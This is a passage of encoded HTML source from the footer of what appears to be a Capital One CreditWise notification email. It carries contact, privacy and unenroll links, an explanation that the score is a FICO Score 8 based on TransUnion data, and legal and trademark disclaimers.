</DIV></TD></TR></TBODY></TABLE> <TABLE class=3Dv1footer style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: c= ollapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; COLOR: rgb(105,105,105); PADDING-BOTTO= M: 24px; TEXT-ALIGN: left; PADDING-TOP: 24px; FONT: 10px/16px Optimist, "He= lvetica Neue", Helvetica, Arial, sans-serif; PADDING-LEFT: 24px; PADDING-RI= GHT: 24px'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 10px; FONT-WEIGHT: 600; MAR= GIN: 0px 0px 16px; LINE-HEIGHT: 16px">Important information from Capital&nb= sp;One</H2> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px"><SPAN class=3Dv1c= om-tran style=3D"BOX-SIZING: border-box"><A style=3D"BOX-SIZING: border-box= ; TEXT-DECORATION: none; COLOR: ; BACKGROUND-COLOR: transparent" href=3D"ht= tps://click-notification.capitalone.com/f/a/Ld0Z1idLrhgjitpbKZ2New~~/AAAAAR= A~/9IgJYb7cof-KGBxjvhMcu2EESiNIBGUxTjcqHSyKsoUYx55oufGrUX2sk-Wo1cPMNuPlqYV2= pNBQS1yTWxA8dV56SyznnSdcXfoiVwlwhPlo7gQVi9BTe2Z3xv8FA-13EptzgVVqrsMxmzmPiaT= FKQ~~" rel=3Dnoreferrer target=3D_blank><SPAN class=3Dv1textLink style=3D"B= OX-SIZING: border-box; TEXT-DECORATION: underline; text-underline-offset: 1= px">Contact us</SPAN></A>  \|  <A style=3D"BOX-SIZING: b= order-box; TEXT-DECORATION: none; COLOR: ; BACKGROUND-COLOR: transparent" h= ref=3D"https://click-notification.capitalone.com/f/a/h_KmJgZBhs1fcUGD3duNNg= ~~/AAAAARA~/xbhj6UvFsHgxI4DFkVuVyNRBruHx0RGZppv6EYHHHI-xmCTLkNXP-_GgYGSvAUL= CaWy44Dt4NmJkmRQkiIcUoLPsjIwJXak5WuWTebVHQzLAqxX91ia0kftW2BzvBaXx" rel=3Dno= referrer target=3D_blank> <SPAN class=3Dv1textLink style=3D"BOX-SIZING: bor= der-box; TEXT-DECORATION: underline; text-underline-offset: 1px">Privacy</S= PAN></A>   \|  <A style=3D"BOX-SIZING: border-box; TEXT-= DECORATION: none; COLOR: ; BACKGROUND-COLOR: transparent" href=3D"https://c= lick-notification.capitalone.com/f/a/pHk5AB-oebGY5hCznXPQFQ~~/AAAAARA~/7z6g= MhaiBAmvYcZsjtozwwYETWzWk48ICM-Mzj5IWveCIrNNcx5Y2og-vEyO1WcdygC9_DUi20Q_5K1= xPmH9PYKSjeFaWLPollqrLHkojxSWNI1ID3Wx5JrCgXUPZ_GfDndPhw0HLU7zPufvOmtOQQ~~" = rel=3Dnoreferrer target=3D_blank> <SPAN class=3Dv1textLink style=3D"BOX-SIZ= ING: border-box; TEXT-DECORATION: underline; text-underline-offset: 1px">He= lp prevent fraud</SPAN></A></SPAN></P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px"><SPAN class=3Dv1c= om-tran style=3D"BOX-SIZING: border-box">To ensure delivery, add<SPAN>&nbsp= ;</SPAN><A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR: ;= BACKGROUND-COLOR: transparent" rel=3Dnoreferrer><SPAN style=3D"BOX-SIZING:= border-box; TEXT-DECORATION: none">capitalone@notification.capitalone.com<= /SPAN></A><SPAN> </SPAN>to your address book.</SPAN></P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px"><SPAN class=3Dv1c= om-tran style=3D"BOX-SIZING: border-box">This email was sent to<SPAN> = </SPAN><A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR: ; = BACKGROUND-COLOR: transparent" rel=3Dnoreferrer><SPAN style=3D"BOX-SIZING: = border-box; TEXT-DECORATION: none">you</SPAN></A> and contains information = directly related to your CreditWise account (including CreditWise alerts) a= nd other services to which you have subscribed. If you no longer want to re= ceive these emails, unfortunately you’ll have to <A style=3D"BOX= -SIZING: border-box; TEXT-DECORATION: none; COLOR: ; BACKGROUND-COLOR: tran= sparent" href=3D"https://click-notification.capitalone.com/f/a/XOkr4bf7XBYv= yo6dyVQH3g~~/AAAAARA~/i314zL8lNmB76gQ4jIDorP_yneET2Pl5pWHgQ4tHEhLsM3vE93qzA= FZzV2iMW2NBHJgr0z0N6592Hj00y3gVUkYrff70SGLKXWvA1iaPGfU0--WcKBxl50l-ENTUsSfM= xnw3t0LbZ-miFPX2PEl94w0O8sASuZxG4WvGR5j6w7KQ8umxgKx8UPW-iHFCrcm6s3P7t627b1s= -lNa4vsD_rRL1kfs7P7vjgOaQUkKGvz8~" rel=3Dnoreferrer target=3D_blank><SPAN c= lass=3Dv1textLink style=3D"BOX-SIZING: border-box; TEXT-DECORATION: underli= ne; text-underline-offset: 1px">unenroll from CreditWise</SPAN></A> .</SPAN= ></P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">Where does my Cre= ditWise score come from?<BR style=3D"BOX-SIZING: border-box">The credit sco= re provided in CreditWise is a FICO® Score 8 based on TransUnion® d= ata. The FICO Score 8 gives you a good sense of your credit health, but it = may not be the same score model used by your lender or creditor. The availa= bility of the CreditWise tool and certain features in the tool depends on o= ur ability to obtain your credit history from TransUnion and whether you ha= ve sufficient credit history to generate a FICO Score 8. Some monitoring an= d alerts may not be available to you if the information you enter at enroll= ment does not match the information in your credit file at (or you do not h= ave a file at) one or more consumer reporting agencies.</P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">Capital One does = not provide, endorse or guarantee any third-party product, service, informa= tion or recommendation listed above. The third parties listed are not affil= iated with Capital One and are solely responsible for their products a= nd services. All trademarks are the property of their respective owners.</P= > <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">Please do not rep= ly to this message, as this email inbox is not monitored.<SPAN> </SPAN= > <A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR: ; BACKG= ROUND-COLOR: transparent" href=3D"https://click-notification.capitalone.com= /f/a/Ld0Z1idLrhgjitpbKZ2New~~/AAAAARA~/9IgJYb7cof-KGBxjvhMcu2EESiNIBGUxTjcq= HSyKsoUYx55oufGrUX2sk-Wo1cPMNuPlqYV2pNBQS1yTWxA8dV56SyznnSdcXfoiVwlwhPlo7gQ= Vi9BTe2Z3xv8FA-13EptzgVVqrsMxmzmPiaTFKQ~~" rel=3Dnoreferrer target=3D_blank= ><SPAN class=3Dv1textLink style=3D"BOX-SIZING: border-box; TEXT-DECORATION:= underline; text-underline-offset: 1px">To contact us, visit www.capitalone= =2Ecom/help-center/contact-us.</SPAN></A></P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">Products and serv= ices are offered by Capital One, N.A.</P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">FICO is a registe= red trademark of Fair Isaac Corporation in the United States and other coun= tries.</P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 16px">© 2025 Capit= al One. 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